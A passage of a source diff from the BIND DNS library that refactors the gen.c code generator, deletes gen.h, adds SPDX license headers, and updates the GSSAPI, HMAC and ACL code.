-		INSIST(n > 0 && (unsigned)n < sizeof(buf));
+		INSIST(n > 0 && (unsigned int)n < sizeof(buf));
 		if (strcmp(buf, dir.filename) != 0) {
 			continue;
 		}
+		if (type > 65535) {
+			fprintf(stderr, "Error: type value > 65535 (%s)\n",
+				dir.filename);
+			exit(1);
+		}
 		add(rdclass, classbuf, type, typebuf, dirbuf);
 	}
 
 	end_directory(&dir);
 }
 
-static unsigned int
-HASH(char *string) {
-	size_t n;
-	unsigned char a, b;
-
-	n = strlen(string);
-	if (n == 0) {
-		fprintf(stderr, "n == 0?\n");
-		exit(1);
-	}
-	a = tolower((unsigned char)string[0]);
-	b = tolower((unsigned char)string[n - 1]);
-
-	return (((a + n) * b) % 256);
+static int
+ttnam_cmp(const void *va, const void *vb) {
+	const struct ttnam *ttna = va, *ttnb = vb;
+	return (ttna->type - ttnb->type);
 }
 
 int
 main(int argc, char **argv) {
 	char buf[PATH_MAX];
 	char srcdir[PATH_MAX];
-	int rdclass;
+	unsigned int rdclass;
 	char classbuf[TYPECLASSBUF];
 	struct tt *tt;
 	struct cc *cc;
 	struct ttnam *ttn, *ttn2;
-	unsigned int hash;
 	time_t now;
 	char year[11];
 	int lasttype;
@@ -532,7 +585,7 @@ main(int argc, char **argv) {
 	int type_enum = 0;
 	int structs = 0;
 	int depend = 0;
-	int c, i, j, n;
+	int c, n;
 	char buf1[TYPECLASSBUF];
 	char filetype = 'c';
 	FILE *fd;
@@ -544,12 +597,8 @@ main(int argc, char **argv) {
 	char *endptr;
 	isc_dir_t dir;
 
-	for (i = 0; i < TYPENAMES; i++) {
-		memset(&typenames[i], 0, sizeof(typenames[i]));
-	}
-
 	srcdir[0] = '\0';
-	while ((c = isc_commandline_parse(argc, argv, "cdits:F:P:S:")) != -1) {
+	while ((c = getopt(argc, argv, "cdits:F:P:S:")) != -1) {
 		switch (c) {
 		case 'c':
 			code = 0;
@@ -584,26 +633,24 @@ main(int argc, char **argv) {
 			filetype = 'h';
 			break;
 		case 's':
-			if (strlen(isc_commandline_argument) >
+			if (strlen(optarg) >
 			    PATH_MAX - 2 * TYPECLASSLEN -
 				    sizeof("/rdata/_65535_65535"))
 			{
-				fprintf(stderr, "\"%s\" too long\n",
-					isc_commandline_argument);
+				fprintf(stderr, "\"%s\" too long\n", optarg);
 				exit(1);
 			}
-			n = snprintf(srcdir, sizeof(srcdir), "%s/",
-				     isc_commandline_argument);
-			INSIST(n > 0 && (unsigned)n < sizeof(srcdir));
+			n = snprintf(srcdir, sizeof(srcdir), "%s/", optarg);
+			INSIST(n > 0 && (unsigned int)n < sizeof(srcdir));
 			break;
 		case 'F':
-			file = isc_commandline_argument;
+			file = optarg;
 			break;
 		case 'P':
-			prefix = isc_commandline_argument;
+			prefix = optarg;
 			break;
 		case 'S':
-			suffix = isc_commandline_argument;
+			suffix = optarg;
 			break;
 		case '?':
 			exit(1);
@@ -611,32 +658,37 @@ main(int argc, char **argv) {
 	}
 
 	n = snprintf(buf, sizeof(buf), "%srdata", srcdir);
-	INSIST(n > 0 && (unsigned)n < sizeof(srcdir));
+	INSIST(n > 0 && (unsigned int)n < sizeof(srcdir));
 
-	if (!start_directory(buf, &dir)) {
-		exit(1);
-	}
+	INSIST(start_directory(buf, &dir));
 
 	while (next_file(&dir)) {
 		if (sscanf(dir.filename, TYPECLASSFMT, classbuf, &rdclass) != 2)
 		{
 			continue;
 		}
-		if ((rdclass > 65535) || (rdclass < 0)) {
-			continue;
-		}
 
-		n = snprintf(buf, sizeof(buf), "%srdata/%s_%d", srcdir,
+		/*
+		 * sscanf accepts leading sign and zeros before type so
+		 * compare the scanned items against the filename. Filter
+		 * out mismatches.
+		 */
+		n = snprintf(buf, sizeof(buf), "%srdata/%s_%u", srcdir,
 			     classbuf, rdclass);
-		INSIST(n > 0 && (unsigned)n < sizeof(buf));
+		INSIST(n > 0 && (unsigned int)n < sizeof(buf));
 		if (strcmp(buf + 6 + strlen(srcdir), dir.filename) != 0) {
 			continue;
 		}
+		if (rdclass > 65535) {
+			fprintf(stderr, "Error: class value > 65535 (%s)\n",
+				dir.filename);
+			exit(1);
+		}
 		sd(rdclass, classbuf, buf, filetype);
 	}
 	end_directory(&dir);
 	n = snprintf(buf, sizeof(buf), "%srdata/generic", srcdir);
-	INSIST(n > 0 && (unsigned)n < sizeof(srcdir));
+	INSIST(n > 0 && (unsigned int)n < sizeof(srcdir));
 	sd(0, "", buf, filetype);
 
 	source_date_epoch = getenv("SOURCE_DATE_EPOCH");
@@ -687,7 +739,7 @@ main(int argc, char **argv) {
 		if (tm != NULL && tm->tm_year > 104) {
 			n = snprintf(year, sizeof(year), "-%d",
 				     tm->tm_year + 1900);
-			INSIST(n > 0 && (unsigned)n < sizeof(year));
+			INSIST(n > 0 && (unsigned int)n < sizeof(year));
 		} else {
 			snprintf(year, sizeof(year), "-2016");
 		}
@@ -700,8 +752,7 @@ main(int argc, char **argv) {
 	}
 
 	if (code) {
-		printf("#ifndef DNS_CODE_H\n");
-		printf("#define DNS_CODE_H 1\n\n");
+		printf("#pragma once\n");
 
 		printf("#include <stdbool.h>\n");
 		printf("#include <isc/result.h>\n\n");
@@ -747,8 +798,6 @@ main(int argc, char **argv) {
 		 * attributes.
 		 */
 
-#define PRINT_COMMA(x) (x == maxtype ? "" : ",")
-
 #define METANOTQUESTION             \
 	"DNS_RDATATYPEATTR_META | " \
 	"DNS_RDATATYPEATTR_NOTQUESTION"
@@ -772,6 +821,12 @@ main(int argc, char **argv) {
 		insert_into_typenames(254, "maila", METAQUESTIONONLY);
 		insert_into_typenames(255, "any", METAQUESTIONONLY);
 
+		/*
+		 * For reproducible builds, ensure the directory read
+		 * order does not affect the order of switch cases.
+		 */
+		qsort(typenames, ttnam_count, sizeof(struct ttnam), ttnam_cmp);
+
 		/*
 		 * Spit out a quick and dirty hash function.  Here,
 		 * we walk through the list of type names, and calculate
@@ -798,37 +853,27 @@ main(int argc, char **argv) {
 		printf("#define RDATATYPE_FROMTEXT_SW(_hash,"
 		       "_typename,_length,_typep) \\\n");
 		printf("\tswitch (_hash) { \\\n");
-		for (i = 0; i <= maxtype; i++) {
-			ttn = find_typename(i);
-			if (ttn == NULL) {
-				continue;
-			}
-
+		for (ttn = typenames; ttn->typebuf[0] != 0; ttn++) {
 			/*
 			 * Skip entries we already processed.
 			 */
-			if (ttn->sorted != 0) {
+			if (!ttn->todo) {
 				continue;
 			}
 
-			hash = HASH(ttn->typebuf);
-			printf("\t\tcase %u: \\\n", hash);
+			printf("\t\tcase %u: \\\n", ttn->hash);
 
 			/*
 			 * Find all other entries that happen to match
 			 * this hash.
 			 */
-			for (j = 0; j <= maxtype; j++) {
-				ttn2 = find_typename(j);
-				if (ttn2 == NULL) {
-					continue;
-				}
-				if (hash == HASH(ttn2->typebuf)) {
+			for (ttn2 = typenames; ttn2->typebuf[0] != 0; ttn2++) {
+				if (ttn2->todo && ttn2->hash == ttn->hash) {
 					printf("\t\t\tRDATATYPE_COMPARE"
 					       "(\"%s\", %d, _typename, "
 					       " _length, _typep); \\\n",
 					       ttn2->typebuf, ttn2->type);
-					ttn2->sorted = 1;
+					ttn2->todo = false;
 				}
 			}
 			printf("\t\t\tbreak; \\\n");
@@ -837,44 +882,33 @@ main(int argc, char **argv) {
 
 		printf("#define RDATATYPE_ATTRIBUTE_SW \\\n");
 		printf("\tswitch (type) { \\\n");
-		for (i = 0; i <= maxtype; i++) {
-			ttn = find_typename(i);
-			if (ttn == NULL) {
-				continue;
-			}
-			printf("\tcase %d: return (%s); \\\n", i,
+		for (ttn = typenames; ttn->typebuf[0] != 0; ttn++) {
+			printf("\tcase %d: return (%s); \\\n", ttn->type,
 			       upper(ttn->attr));
 		}
 		printf("\t}\n");
 
 		printf("#define RDATATYPE_TOTEXT_SW \\\n");
 		printf("\tswitch (type) { \\\n");
-		for (i = 0; i <= maxtype; i++) {
-			ttn = find_typename(i);
-			if (ttn == NULL) {
-				continue;
-			}
+		for (ttn = typenames; ttn->typebuf[0] != 0; ttn++) {
 			/*
 			 * Remove KEYDATA (65533) from the type to memonic
 			 * translation as it is internal use only.  This
 			 * stops the tools from displaying KEYDATA instead
 			 * of TYPE65533.
 			 */
-			if (i == 65533U) {
+			if (ttn->type == 65533U) {
 				continue;
 			}
 			printf("\tcase %d: return "
 			       "(str_totext(\"%s\", target)); \\\n",
-			       i, upper(ttn->typebuf));
+			       ttn->type, upper(ttn->typebuf));
 		}
 		printf("\t}\n");
-
-		printf("#endif /* DNS_CODE_H */\n");
 	} else if (type_enum) {
 		char *s;
 
-		printf("#ifndef DNS_ENUMTYPE_H\n");
-		printf("#define DNS_ENUMTYPE_H 1\n\n");
+		printf("#pragma once\n");
 
 		printf("enum {\n");
 		printf("\tdns_rdatatype_none = 0,\n");
@@ -919,14 +953,11 @@ main(int argc, char **argv) {
 		       "((dns_rdatatype_t)dns_rdatatype_maila)\n");
 		printf("#define dns_rdatatype_any\t"
 		       "((dns_rdatatype_t)dns_rdatatype_any)\n");
-
-		printf("\n#endif /* DNS_ENUMTYPE_H */\n");
 	} else if (class_enum) {
 		char *s;
 		int classnum;
 
-		printf("#ifndef DNS_ENUMCLASS_H\n");
-		printf("#define DNS_ENUMCLASS_H 1\n\n");
+		printf("#pragma once\n");
 
 		printf("enum {\n");
 
@@ -957,7 +988,6 @@ main(int argc, char **argv) {
 #undef PRINTCLASS
 
 		printf("};\n\n");
-		printf("#endif /* DNS_ENUMCLASS_H */\n");
 	} else if (structs) {
 		if (prefix != NULL) {
 			if ((fd = fopen(prefix, "r")) != NULL) {
diff --git a/lib/dns/gen.h b/lib/dns/gen.h
deleted file mode 100644
index 2db0a8820a..0000000000
--- a/lib/dns/gen.h
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file
- * \brief
- * This file is responsible for defining two operations that are not
- * directly portable between Unix-like systems and Windows NT, option
- * parsing and directory scanning.  It is here because it was decided
- * that the "gen" build utility was not to depend on libisc.a, so
- * the functions declared in isc/commandline.h and isc/dir.h could not
- * be used.
- *
- * The commandline stuff is really just a wrapper around getopt().
- * The dir stuff was shrunk to fit the needs of gen.c.
- */
-
-#ifndef DNS_GEN_UNIX_H
-#define DNS_GEN_UNIX_H 1
-
-#include <dirent.h>
-#include <errno.h>
-#include <stdbool.h>
-#include <stdlib.h>
-#include <sys/types.h> /* Required on some systems for dirent.h. */
-#include <unistd.h>    /* XXXDCL Required for ?. */
-
-#ifdef __cplusplus
-#define ISC_LANG_BEGINDECLS extern "C" {
-#define ISC_LANG_ENDDECLS   }
-#else /* ifdef __cplusplus */
-#define ISC_LANG_BEGINDECLS
-#define ISC_LANG_ENDDECLS
-#endif /* ifdef __cplusplus */
-
-#ifdef NEED_OPTARG
-extern char *optarg;
-#endif /* ifdef NEED_OPTARG */
-
-#define isc_commandline_parse	 getopt
-#define isc_commandline_argument optarg
-
-typedef struct {
-	DIR *handle;
-	char *filename;
-} isc_dir_t;
-
-ISC_LANG_BEGINDECLS
-
-static bool
-start_directory(const char *path, isc_dir_t *dir) {
-	dir->handle = opendir(path);
-
-	if (dir->handle != NULL) {
-		return (true);
-	} else {
-		return (false);
-	}
-}
-
-static bool
-next_file(isc_dir_t *dir) {
-	struct dirent *dirent;
-
-	dir->filename = NULL;
-
-	if (dir->handle != NULL) {
-		errno = 0;
-		dirent = readdir(dir->handle);
-		if (dirent != NULL) {
-			dir->filename = dirent->d_name;
-		} else {
-			if (errno != 0) {
-				exit(1);
-			}
-		}
-	}
-
-	if (dir->filename != NULL) {
-		return (true);
-	} else {
-		return (false);
-	}
-}
-
-static void
-end_directory(isc_dir_t *dir) {
-	if (dir->handle != NULL) {
-		(void)closedir(dir->handle);
-	}
-
-	dir->handle = NULL;
-}
-
-ISC_LANG_ENDDECLS
-
-#endif /* DNS_GEN_UNIX_H */
diff --git a/lib/dns/geoip2.c b/lib/dns/geoip2.c
index 012c60e4cc..a3b2206bc8 100644
--- a/lib/dns/geoip2.c
+++ b/lib/dns/geoip2.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/dns/gssapi_link.c b/lib/dns/gssapi_link.c
index f595d3c87e..94a4683b3b 100644
--- a/lib/dns/gssapi_link.c
+++ b/lib/dns/gssapi_link.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -28,12 +30,11 @@
 #include <isc/base64.h>
 #include <isc/buffer.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
 #include <dst/gssapi.h>
-#include <dst/result.h>
 
 #include "dst_internal.h"
 #include "dst_parse.h"
@@ -187,11 +188,10 @@ gssapi_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 static isc_result_t
 gssapi_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	dst_gssapi_signverifyctx_t *ctx = dctx->ctxdata.gssctx;
-	isc_region_t message, r;
+	isc_region_t message;
 	gss_buffer_desc gmessage, gsig;
 	OM_uint32 minor, gret;
 	gss_ctx_id_t gssctx = dctx->key->keydata.gssctx;
-	unsigned char buf[sig->length];
 	char err[1024];
 
 	/*
@@ -200,11 +200,7 @@ gssapi_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	 */
 	isc_buffer_usedregion(ctx->buffer, &message);
 	REGION_TO_GBUFFER(message, gmessage);
-
-	memmove(buf, sig->base, sig->length);
-	r.base = buf;
-	r.length = sig->length;
-	REGION_TO_GBUFFER(r, gsig);
+	REGION_TO_GBUFFER(*sig, gsig);
 
 	/*
 	 * Verify the data.
diff --git a/lib/dns/gssapictx.c b/lib/dns/gssapictx.c
index 1443ffef68..f1f98fd0bb 100644
--- a/lib/dns/gssapictx.c
+++ b/lib/dns/gssapictx.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -40,9 +42,8 @@
 #include <isc/lex.h>
 #include <isc/mem.h>
 #include <isc/once.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/random.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/time.h>
 #include <isc/util.h>
@@ -53,11 +54,9 @@
 #include <dns/name.h>
 #include <dns/rdata.h>
 #include <dns/rdataclass.h>
-#include <dns/result.h>
 #include <dns/types.h>
 
 #include <dst/gssapi.h>
-#include <dst/result.h>
 
 #include "dst_internal.h"
 
@@ -100,7 +99,7 @@ static gss_OID_desc __gss_spnego_mechanism_oid_desc = {
 			goto out;            \
 	} while (0)
 
-static inline void
+static void
 name_to_gbuffer(const dns_name_t *name, isc_buffer_t *buffer,
 		gss_buffer_desc *gbuffer) {
 	dns_name_t tname;
@@ -118,7 +117,8 @@ name_to_gbuffer(const dns_name_t *name, isc_buffer_t *buffer,
 		namep = &tname;
 	}
 
-	result = dns_name_toprincipal(namep, buffer);
+	result = dns_name_totext(
+		namep, DNS_NAME_OMITFINALDOT | DNS_NAME_PRINCIPAL, buffer);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 	isc_buffer_putuint8(buffer, 0);
 	isc_buffer_usedregion(buffer, &r);
@@ -384,7 +384,8 @@ dst_gssapi_identitymatchesrealmkrb5(const dns_name_t *signer,
 	 * a string, and do string operations on them.
 	 */
 	isc_buffer_init(&buffer, sbuf, sizeof(sbuf));
-	result = dns_name_toprincipal(signer, &buffer);
+	result = dns_name_totext(
+		signer, DNS_NAME_OMITFINALDOT | DNS_NAME_PRINCIPAL, &buffer);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 	isc_buffer_putuint8(&buffer, 0);
 	dns_name_format(realm, rbuf, sizeof(rbuf));
@@ -432,7 +433,8 @@ dst_gssapi_identitymatchesrealmkrb5(const dns_name_t *signer,
 		dns_name_t *machine;
 
 		machine = dns_fixedname_initname(&fixed);
-		result = dns_name_fromstring(machine, sname, 0, NULL);
+		result = dns_name_fromstring(machine, sname, dns_rootname, 0,
+					     NULL);
 		if (result != ISC_R_SUCCESS) {
 			return (false);
 		}
@@ -461,7 +463,8 @@ dst_gssapi_identitymatchesrealmms(const dns_name_t *signer,
 	 * a string, and do string operations on them.
 	 */
 	isc_buffer_init(&buffer, sbuf, sizeof(sbuf));
-	result = dns_name_toprincipal(signer, &buffer);
+	result = dns_name_totext(
+		signer, DNS_NAME_OMITFINALDOT | DNS_NAME_PRINCIPAL, &buffer);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 	isc_buffer_putuint8(&buffer, 0);
 	dns_name_format(realm, rbuf, sizeof(rbuf));
@@ -512,7 +515,7 @@ dst_gssapi_identitymatchesrealmms(const dns_name_t *signer,
 		dns_name_t *machine;
 
 		machine = dns_fixedname_initname(&fixed);
-		result = dns_name_fromstring2(machine, sbuf, realm, 0, NULL);
+		result = dns_name_fromstring(machine, sbuf, realm, 0, NULL);
 		if (result != ISC_R_SUCCESS) {
 			return (false);
 		}
diff --git a/lib/dns/hmac_link.c b/lib/dns/hmac_link.c
index ee4c67bd73..c8c806df97 100644
--- a/lib/dns/hmac_link.c
+++ b/lib/dns/hmac_link.c
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) Network Associates, Inc.
+ */
+
+/*
+ * Copyright (C) Network Associates, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -28,22 +32,17 @@
 
 #include <isc/buffer.h>
 #include <isc/hmac.h>
+#include <isc/lex.h>
 #include <isc/md.h>
 #include <isc/mem.h>
 #include <isc/nonce.h>
 #include <isc/random.h>
+#include <isc/result.h>
 #include <isc/safe.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
-#include <dst/result.h>
-
 #include "dst_internal.h"
-#ifdef HAVE_FIPS_MODE
-#include "dst_openssl.h" /* FIPS_mode() prototype */
-#endif			 /* ifdef HAVE_FIPS_MODE */
 #include "dst_parse.h"
 
 #define ISC_MD_md5    ISC_MD_MD5
@@ -101,7 +100,17 @@
 	}                                                                      \
 	static isc_result_t hmac##alg##_parse(                                 \
 		dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {            \
-		return (hmac_parse(ISC_MD_##alg, key, lexer, pub));            \
+		const char *file = isc_lex_getsourcename(lexer);               \
+		isc_result_t result;                                           \
+		result = hmac_parse(ISC_MD_##alg, key, lexer, pub);            \
+		if (result == ISC_R_SUCCESS && file != NULL) {                 \
+			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,       \
+				      DNS_LOGMODULE_CRYPTO, ISC_LOG_WARNING,   \
+				      "%s: Use of K* file pairs for HMAC is "  \
+				      "deprecated\n",                          \
+				      file);                                   \
+		}                                                              \
+		return (result);                                               \
 	}                                                                      \
 	static dst_func_t hmac##alg##_functions = {                            \
 		hmac##alg##_createctx,                                         \
@@ -129,7 +138,13 @@
 	isc_result_t dst__hmac##alg##_init(dst_func_t **funcp) {               \
 		REQUIRE(funcp != NULL);                                        \
 		if (*funcp == NULL) {                                          \
-			*funcp = &hmac##alg##_functions;                       \
+			isc_hmac_t *ctx = isc_hmac_new();                      \
+			if (isc_hmac_init(ctx, "test", 4, ISC_MD_##alg) ==     \
+			    ISC_R_SUCCESS)                                     \
+			{                                                      \
+				*funcp = &hmac##alg##_functions;               \
+			}                                                      \
+			isc_hmac_free(ctx);                                    \
 		}                                                              \
 		return (ISC_R_SUCCESS);                                        \
 	}
@@ -141,7 +156,7 @@ struct dst_hmac_key {
 	uint8_t key[ISC_MAX_BLOCK_SIZE];
 };
 
-static inline isc_result_t
+static isc_result_t
 getkeybits(dst_key_t *key, struct dst_private_element *element) {
 	uint16_t *bits = (uint16_t *)element->data;
 
@@ -154,7 +169,7 @@ getkeybits(dst_key_t *key, struct dst_private_element *element) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 hmac_createctx(const isc_md_type_t *type, const dst_key_t *key,
 	       dst_context_t *dctx) {
 	isc_result_t result;
@@ -164,6 +179,7 @@ hmac_createctx(const isc_md_type_t *type, const dst_key_t *key,
 	result = isc_hmac_init(ctx, hkey->key, isc_md_type_get_block_size(type),
 			       type);
 	if (result != ISC_R_SUCCESS) {
+		isc_hmac_free(ctx);
 		return (DST_R_UNSUPPORTEDALG);
 	}
 
@@ -171,7 +187,7 @@ hmac_createctx(const isc_md_type_t *type, const dst_key_t *key,
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 hmac_destroyctx(dst_context_t *dctx) {
 	isc_hmac_t *ctx = dctx->ctxdata.hmac_ctx;
 	REQUIRE(ctx != NULL);
@@ -180,7 +196,7 @@ hmac_destroyctx(dst_context_t *dctx) {
 	dctx->ctxdata.hmac_ctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 hmac_adddata(const dst_context_t *dctx, const isc_region_t *data) {
 	isc_result_t result;
 	isc_hmac_t *ctx = dctx->ctxdata.hmac_ctx;
@@ -195,12 +211,12 @@ hmac_adddata(const dst_context_t *dctx, const isc_region_t *data) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 hmac_sign(const dst_context_t *dctx, isc_buffer_t *sig) {
 	isc_hmac_t *ctx = dctx->ctxdata.hmac_ctx;
 	REQUIRE(ctx != NULL);
-	unsigned int digestlen;
 	unsigned char digest[ISC_MAX_MD_SIZE];
+	unsigned int digestlen = sizeof(digest);
 
 	if (isc_hmac_final(ctx, digest, &digestlen) != ISC_R_SUCCESS) {
 		return (DST_R_OPENSSLFAILURE);
@@ -219,11 +235,11 @@ hmac_sign(const dst_context_t *dctx, isc_buffer_t *sig) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 hmac_verify(const dst_context_t *dctx, const isc_region_t *sig) {
 	isc_hmac_t *ctx = dctx->ctxdata.hmac_ctx;
-	unsigned int digestlen;
 	unsigned char digest[ISC_MAX_MD_SIZE];
+	unsigned int digestlen = sizeof(digest);
 
 	REQUIRE(ctx != NULL);
 
@@ -244,7 +260,7 @@ hmac_verify(const dst_context_t *dctx, const isc_region_t *sig) {
 			: DST_R_VERIFYFAILURE);
 }
 
-static inline bool
+static bool
 hmac_compare(const isc_md_type_t *type, const dst_key_t *key1,
 	     const dst_key_t *key2) {
 	dst_hmac_key_t *hkey1, *hkey2;
@@ -262,7 +278,7 @@ hmac_compare(const isc_md_type_t *type, const dst_key_t *key1,
 				  isc_md_type_get_block_size(type)));
 }
 
-static inline isc_result_t
+static isc_result_t
 hmac_generate(const isc_md_type_t *type, dst_key_t *key) {
 	isc_buffer_t b;
 	isc_result_t ret;
@@ -290,13 +306,13 @@ hmac_generate(const isc_md_type_t *type, dst_key_t *key) {
 	return (ret);
 }
 
-static inline bool
+static bool
 hmac_isprivate(const dst_key_t *key) {
 	UNUSED(key);
 	return (true);
 }
 
-static inline void
+static void
 hmac_destroy(dst_key_t *key) {
 	dst_hmac_key_t *hkey = key->keydata.hmac_key;
 	isc_safe_memwipe(hkey, sizeof(*hkey));
@@ -304,7 +320,7 @@ hmac_destroy(dst_key_t *key) {
 	key->keydata.hmac_key = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 hmac_todns(const dst_key_t *key, isc_buffer_t *data) {
 	REQUIRE(key != NULL && key->keydata.hmac_key != NULL);
 	dst_hmac_key_t *hkey = key->keydata.hmac_key;
@@ -319,7 +335,7 @@ hmac_todns(const dst_key_t *key, isc_buffer_t *data) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 hmac_fromdns(const isc_md_type_t *type, dst_key_t *key, isc_buffer_t *data) {
 	dst_hmac_key_t *hkey;
 	unsigned int keylen;
@@ -337,7 +353,8 @@ hmac_fromdns(const isc_md_type_t *type, dst_key_t *key, isc_buffer_t *data) {
 	/* Hash the key if the key is longer then chosen MD block size */
 	if (r.length > (unsigned int)isc_md_type_get_block_size(type)) {
 		if (isc_md(type, r.base, r.length, hkey->key, &keylen) !=
-		    ISC_R_SUCCESS) {
+		    ISC_R_SUCCESS)
+		{
 			isc_mem_put(key->mctx, hkey, sizeof(dst_hmac_key_t));
 			return (DST_R_OPENSSLFAILURE);
 		}
@@ -354,7 +371,7 @@ hmac_fromdns(const isc_md_type_t *type, dst_key_t *key, isc_buffer_t *data) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline int
+static int
 hmac__get_tag_key(const isc_md_type_t *type) {
 	if (type == ISC_MD_MD5) {
 		return (TAG_HMACMD5_KEY);
@@ -369,12 +386,11 @@ hmac__get_tag_key(const isc_md_type_t *type) {
 	} else if (type == ISC_MD_SHA512) {
 		return (TAG_HMACSHA512_KEY);
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
-static inline int
+static int
 hmac__get_tag_bits(const isc_md_type_t *type) {
 	if (type == ISC_MD_MD5) {
 		return (TAG_HMACMD5_BITS);
@@ -389,12 +405,11 @@ hmac__get_tag_bits(const isc_md_type_t *type) {
 	} else if (type == ISC_MD_SHA512) {
 		return (TAG_HMACSHA512_BITS);
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
-static inline isc_result_t
+static isc_result_t
 hmac_tofile(const isc_md_type_t *type, const dst_key_t *key,
 	    const char *directory) {
 	dst_hmac_key_t *hkey;
@@ -427,7 +442,7 @@ hmac_tofile(const isc_md_type_t *type, const dst_key_t *key,
 	return (dst__privstruct_writefile(key, &priv, directory));
 }
 
-static inline int
+static int
 hmac__to_dst_alg(const isc_md_type_t *type) {
 	if (type == ISC_MD_MD5) {
 		return (DST_ALG_HMACMD5);
@@ -442,12 +457,11 @@ hmac__to_dst_alg(const isc_md_type_t *type) {
 	} else if (type == ISC_MD_SHA512) {
 		return (DST_ALG_HMACSHA512);
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
-static inline isc_result_t
+static isc_result_t
 hmac_parse(const isc_md_type_t *type, dst_key_t *key, isc_lex_t *lexer,
 	   dst_key_t *pub) {
 	dst_private_t priv;
diff --git a/lib/dns/include/dns/acl.h b/lib/dns/include/dns/acl.h
index adbead90f5..7bff5ce644 100644
--- a/lib/dns/include/dns/acl.h
+++ b/lib/dns/include/dns/acl.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_ACL_H
-#define DNS_ACL_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -31,6 +32,7 @@
 #include <isc/magic.h>
 #include <isc/netaddr.h>
 #include <isc/refcount.h>
+#include <isc/rwlock.h>
 
 #include <dns/geoip.h>
 #include <dns/iptable.h>
@@ -42,17 +44,23 @@
  ***/
 
 typedef enum {
-	dns_aclelementtype_ipprefix,
 	dns_aclelementtype_keyname,
 	dns_aclelementtype_nestedacl,
 	dns_aclelementtype_localhost,
 	dns_aclelementtype_localnets,
 #if defined(HAVE_GEOIP2)
-	dns_aclelementtype_geoip,
+	dns_aclelementtype_geoip
 #endif /* HAVE_GEOIP2 */
-	dns_aclelementtype_any
 } dns_aclelementtype_t;
 
+typedef struct dns_acl_port_transports {
+	in_port_t port;
+	uint32_t  transports;
+	bool encrypted; /* for protocols with optional encryption (e.g. HTTP) */
+	bool negative;
+	ISC_LINK(struct dns_acl_port_transports) link;
+} dns_acl_port_transports_t;
+
 typedef struct dns_aclipprefix dns_aclipprefix_t;
 
 struct dns_aclipprefix {
@@ -75,24 +83,29 @@ struct dns_aclelement {
 
 struct dns_acl {
 	unsigned int	  magic;
-	isc_mem_t *	  mctx;
+	isc_mem_t	 *mctx;
 	isc_refcount_t	  refcount;
-	dns_iptable_t *	  iptable;
+	dns_iptable_t	 *iptable;
 	dns_aclelement_t *elements;
 	bool		  has_negatives;
 	unsigned int	  alloc;	 /*%< Elements allocated */
 	unsigned int	  length;	 /*%< Elements initialized */
